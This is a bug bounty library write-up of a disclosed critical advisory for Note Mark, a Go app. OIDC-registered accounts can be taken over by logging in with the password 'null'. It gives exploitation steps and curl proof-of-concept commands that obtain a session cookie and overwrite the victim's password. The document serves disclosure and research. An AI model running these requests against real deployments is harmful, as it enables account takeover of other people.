# Note Mark: OIDC-registered users authenticated by submitting password "null"

Note Mark's IsPasswordMatch falls back to bcrypt("null") for empty-password OIDC users, so submitting password "null" yields a session for any OIDC account.

- Payout: Research
- Severity: critical
- Program: Note Mark
- Found by: adrgs, aisafe-bot
- Disclosed: 2026-04-25
- CVE: CVE-2026-41571
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pxf8-6wqm-r6hh
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-pxf8-6wqm-r6hh
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:ghsa sev:critical tech:go tech:oidc technique:default-creds technique:source-review vuln:account-takeover vuln:auth-bypass

**Target:** Go backend internal login endpoint POST /api/auth/token
**Root cause:** IsPasswordMatch substitutes a hard-coded bcrypt hash of the literal string "null" when the stored password is empty; OIDC-registered users are created with an empty password, so the placeholder becomes a valid credential.
**Steps:**
1. Deploy note-mark with OIDC__ENABLE_USER_CREATION=true; ENABLE_INTERNAL_LOGIN and ENABLE_ANONYMOUS_USER_SEARCH default true.
2. Victim registers via OIDC; row stored with Password = []byte("").
3. Confirm preconditions: `curl -s http://host/api/info` shows allowInternalLogin:true and enableAnonymousUserSearch:true.
4. Enumerate username via `GET /api/users/search`.
5. `curl -i -X POST http://host/api/auth/token -H 'Content-Type: application/json' -d '{"grant_type":"password","username":"alice","password":"null"}'` returns 204 with `Set-Cookie: Auth-Session-Token=...`.
6. Use cookie on `GET /api/users/me` to read the victim's account.
7. Persist: `PUT /api/users/me/password` with `{"existingPassword":"null","newPassword":"bob-owns-this-now"}` returns 204.
**How found:** Code review of the timing-attack mitigation: noticed IsPasswordMatch swaps in a fixed bcrypt hash of the literal "null" for empty passwords, then traced that OIDC user creation stores an empty password and that the internal login path is enabled by default.
**Exploitation:** Unauthenticated attacker enumerates usernames via the anonymous search endpoint, then posts password "null" to the internal login endpoint; bcrypt comparison against the placeholder hash succeeds and the server issues an Auth-Session-Token cookie granting full access to the victim's notebooks and assets. A second request to the password-update endpoint, verified by the same IsPasswordMatch routine, writes an attacker-chosen password onto the victim's row for persistence.
**Escalation:** Session takeover escalated to persistent account control by reusing the same flawed check in the password-change endpoint to set a new credential.
**Insight:** Timing-mitigation placeholders that are constant and guessable turn 'no password set' into a valid credential; grep for hard-coded dummy hashes compared against user input, and check every endpoint that reuses the same comparison (login, password change) for the same fallback.

## Proof of concept (copied exactly from the original report)

**Login as OIDC user with password null**

```
curl -i -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"null"}'
```

**Persist access by overwriting OIDC user's password**

```
curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
  http://localhost:8088/api/users/me/password \
  -H 'Content-Type: application/json' \
  -d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'
```

**Read victim account with stolen cookie**

```
curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
# {"id":"...","username":"alice","name":"Alice"}
```

